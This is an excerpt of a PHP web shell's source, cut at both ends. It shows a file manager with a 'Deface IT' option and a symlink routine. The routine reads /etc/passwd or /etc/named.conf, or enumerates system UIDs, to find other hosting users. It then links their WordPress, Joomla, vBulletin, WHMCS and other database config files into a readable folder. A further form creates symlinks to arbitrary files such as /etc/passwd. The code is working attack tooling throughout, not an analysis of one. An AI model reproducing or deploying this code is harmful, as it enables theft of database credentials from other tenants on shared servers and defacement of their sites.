1034 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
1035 <td class="info"><a href=javascript:void(0) onClick="fileaction('rename','<?php echo $vv; ?>')"><font size=2>Rename</font></a></td>
1036 <td></td>
1037 <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
1038 </tr></font>
1039 <?php
1040 }
1041 else if(is_file($vv))
1042 {
1043 ?>
1044 <tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'">
1045 <td class='file'><a href=javascript:void(0) onClick="fileaction('open','<?php echo $vv; ?>')"><?php if(("/" .$val == $_SERVER["SCRIPT_NAME"]) || ($val == "index.php") || ($val == "index.html") || ($val == "config.php") || ($val == "wp-config.php")) { echo "<font color=red>". $val . "</font>"; } else { echo $val; } ?></a> <?php if($val == "index.php" || $val == "index.html") { if(strlen($ind) != 0) { echo "<a href=javascript:void(0) onClick=\"defacefun('$vv')\"><font color=red>( Deface IT )</font></a>"; } } ?></td>
1046
1047 <td class='info'><font size=2><?php echo HumanReadableFilesize(filesize($dir . $directorysperator . $val));?></font></td>
1048
1049 <td class='info'><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
1050
1051 <?php if($os != 'Windows')
1052 {
1053 echo "<td align=center><font size=2>";
1054 echo getOGid($val)."</font></td>";
1055 } ?>
1056 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
1057
1058 <td class="info"><a href=javascript:void(0) onClick="fileaction('rename','<?php echo $vv; ?>')"><font size=2>Rename</font></a></td>
1059 <td class="info"><a href="<?php echo $self;?>?download=<?php echo $dir . $directorysperator .$val;?>"><font size=2>Download</font></a>
1060 <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
1061 </tr>
1062 <p>
1063 <?php
1064 }
1065 }
1066
1067 echo "</table>
1068<div align='right' style='width:100%;' id=maindiv><BR><label><input type='checkbox' name='checkall' onclick='checkedAll();'> <font class=txt size=3>Check All </font></label>
1069<select class=sbox name=choice style='width: 100px;'>
1070 <option value=delete>Delete</option>
1071 <option value=chmod>Change mode</option>
1072 if(class_exists('ZipArchive'))
1073 { <option value=compre>Compress</option>
1074 <option value=uncompre>Uncompress</option> }
1075 </select>
1076
1077 <input type=button onClick=\"myaction(choice.value)\" value=Submit name=checkoption class=but></form></div>";
1078 }}
1079 else
1080 {
1081 echo "<p><font size=3>".$_GET['dir']." is <b>NOT</b> a Valid Directory!<br /></font></p>";
1082 }
1083
1084}
1085if(isset($_REQUEST["script"]))
1086{
1087 $getpath = trim(dirname($_SERVER['SCRIPT_NAME']) . PHP_EOL);
1088 ?>
1089 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('manuallyscript')"><font class=txt size="4">| Do It Manually |</font></a></td>
1090 <td><a href=javascript:void(0) onClick="getdata('scriptlocator')"><font class=txt size="4">| Do It Automatically |</font></a></td>
1091 </tr></table></center>
1092 <?php
1093}
1094else if(isset($_REQUEST['manuallyscript']))
1095{
1096 ?>
1097 <center>
1098 <form action="<?php echo $self; ?>" method="post">
1099 <textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
1100 <input type="button" OnClick="manuallyscriptfn(passwd.value)" value="Get Config" class="but">
1101 </form>
1102 </center>
1103 <?php
1104}
1105else if(isset($_REQUEST['scriptlocator']))
1106{
1107 if(stristr(php_uname(),"Linux"))
1108 {
1109 $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1110 $path=explode('/',$url);
1111 $url =str_replace($path[count($path)-1],'',$url);
1112 function syml($usern,$pdomain)
1113 {
1114 symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1115 symlink('/home/'.$usern.'/public_html/core/includes/config.php',$pdomain.'~~vBulletin5.txt');
1116 symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1117 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1118 symlink('/home/'.$usern.'/public_html/vb/core/includes/config.php',$pdomain.'~~vBulletin5.txt');
1119 symlink('/home/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1120 symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1121 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1122 symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb1.txt');
1123 symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1124 symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1125 symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1126 symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1127 symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1128 symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1129 symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1130 symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1131 symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1132 symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1133 symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1134 symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1135 symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1136 symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1137 symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1138 symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1139 symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1140 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1141 symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1142 symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1143 symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1144 symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1145 symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1146 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1147 symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1148 symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1149 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1150 symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1151 symlink('/home2/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1152 symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1153 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1154 symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb2.txt');
1155 symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1156 symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1157 symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1158 symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1159 symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1160 symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1161 symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1162 symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1163 symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1164 symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1165 symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1166 symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1167 symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1168 symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1169 symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1170 symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1171 symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1172 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1173 symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1174 symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1175 symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1176 symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1177 symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1178 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1179 symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1180 symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1181 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1182 symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1183 symlink('/home3/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1184 symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1185 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1186 symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb3.txt');
1187 symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1188 symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1189 symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1190 symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1191 symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1192 symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1193 symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1194 symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1195 symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1196 symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1197 symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1198 symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1199 symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1200 symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1201 symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1202 symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1203 symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1204 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1205 symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1206 symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1207 symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1208 symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1209 symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1210 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1211 symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1212 symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1213 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1214 symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1215 symlink('/home4/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
1216 symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1217 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1218 symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb4.txt');
1219 symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1220 symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1221 symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1222 symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1223 symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1224 symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1225 symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1226 symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1227 symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1228 symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1229 symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1230 symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1231 symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1232 symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1233 symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1234 symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1235 symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1236 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1237 symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1238 symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1239 symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1240 symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1241 symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1242 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1243 symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1244 symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1245 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1246 symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1247 symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1248 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1249 symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb5.txt');
1250 symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1251 symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1252 symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1253 symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1254 symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1255 symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1256 symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1257 symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1258 symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1259 symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1260 symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1261 symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1262 symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1263 symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1264 symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1265 symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1266 symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1267 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1268 symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1269 symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1270 symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1271 symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1272 symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1273 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1274 symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1275 symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1276 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1277 symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1278 symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1279 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1280 symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1281 symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1282 symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1283 symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1284 symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1285 symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1286 symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1287 symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1288 symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1289 symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1290 symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1291 symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1292 symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1293 symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1294 symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1295 symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1296 symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1297 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1298 symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1299 symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1300 symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1301 symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1302 symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1303 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1304 symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1305 symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1306 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1307 symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1308 symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1309 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1310 symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb7.txt');
1311 symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1312 symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1313 symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1314 symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1315 symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1316 symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1317 symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1318 symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1319 symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1320 symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1321 symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1322 symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1323 symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1324 symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1325 symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1326 symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1327 symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1328 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1329 symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1330 symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1331 symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1332 symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1333 symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1334 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1335 }
1336 if(isset($_REQUEST['passwd']))
1337 {
1338 $getetc = trim($_REQUEST['passwd']);
1339
1340 mkdir("dhanushSPT");
1341 chdir("dhanushSPT");
1342
1343 $myfile = fopen("test.txt","w");
1344 fputs($myfile,$getetc);
1345 fclose($myfile);
1346
1347 $file = fopen("test.txt", "r") or exit("Unable to open file!");
1348 while(!feof($file))
1349 {
1350 $s = fgets($file);
1351 $matches = array();
1352 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1353 $matches = str_replace("home/","",$matches[1]);
1354 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1355 continue;
1356 syml($matches,$matches);
1357 }
1358 fclose($file);
1359 unlink("test.txt");
1360 echo "<center><font class=txt size=3>[ Done ]</font></center>";
1361 echo "<br><center><a href=".$url."dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
1362
1363 }
1364 else
1365 {
1366 $d0mains = @file("/etc/named.conf");
1367 if($d0mains)
1368 {
1369 mkdir("dhanushST");
1370 chdir("dhanushST");
1371
1372 foreach($d0mains as $d0main)
1373 {
1374 if(eregi("zone",$d0main))
1375 {
1376 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1377 flush();
1378
1379 if(strlen(trim($domains[1][0])) > 2)
1380 {
1381 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1382
1383 syml($user['name'],$domains[1][0]);
1384 }
1385 }
1386 }
1387 echo "<center><font class=txt size=3>[ Done ]</font></center>";
1388 echo "<br><center><a href=".$url."dhanushST target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
1389 }
1390 else
1391 {
1392 mkdir("dhanushSPT");
1393 chdir("dhanushSPT");
1394 $temp = "";
1395 $val1 = 0;
1396 $val2 = 1000;
1397 for(;$val1 <= $val2;$val1++)
1398 {
1399 $uid = @posix_getpwuid($val1);
1400 if ($uid)
1401 $temp .= join(':',$uid)."\n";
1402 }
1403 echo '<br/>';
1404 $temp = trim($temp);
1405
1406 $file5 = fopen("test.txt","w");
1407 fputs($file5,$temp);
1408 fclose($file5);
1409
1410
1411 $file = fopen("test.txt", "r") or exit("Unable to open file!");
1412 while(!feof($file))
1413 {
1414 $s = fgets($file);
1415 $matches = array();
1416 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1417 $matches = str_replace("home/","",$matches[1]);
1418 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1419 continue;
1420 syml($matches,$matches);
1421 }
1422 fclose($file);
1423 echo "</table>";
1424 unlink("test.txt");
1425 echo "<center><font class=txt size=3>[ Done ]</font></center>";
1426 echo "<br><center><a href=".$url."dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
1427 }
1428 }
1429 }
1430 else
1431 echo "<center>Cannot Complete the task!!!!</center>";
1432
1433}
1434else if(isset($_GET["symlinkfile"]))
1435{
1436 if(!isset($_GET['file']))
1437 {
1438 ?>
1439 <center>
1440 <form onSubmit="getdata('symlinkmyfile',file.value);return false;">
1441 <input type="text" class="box" name="file" size="50" value="/etc/passwd">
1442 <input type="button" value="Create Symlink" onClick="getdata('symlinkmyfile',file.value)" class="but">
1443 </form></center>
1444 <br><br>
1445 <?php
1446 }
1447}
1448
1449else if(isset($_GET['symlinkmyfile']))
1450{
1451 if(stristr(php_uname(),"Linux"))
1452 {
1453 $fakedir="cx";
1454 $fakedep=16;
1455
1456 $num=0; // offset of symlink.$num
1457
1458 if(!empty($_GET['myfile']))
1459 $file=$_GET['myfile'];
1460 else $file="";
1461
1462 if(empty($file))
1463 exit;
1464
1465 if(!is_writable("."))
1466 echo "not writable directory";
1467
1468 $level=0;
1469
1470 for($as=0;$as<$fakedep;$as++)
1471 {
1472 if(!file_exists($fakedir))
1473 mkdir($fakedir);
1474 chdir($fakedir);
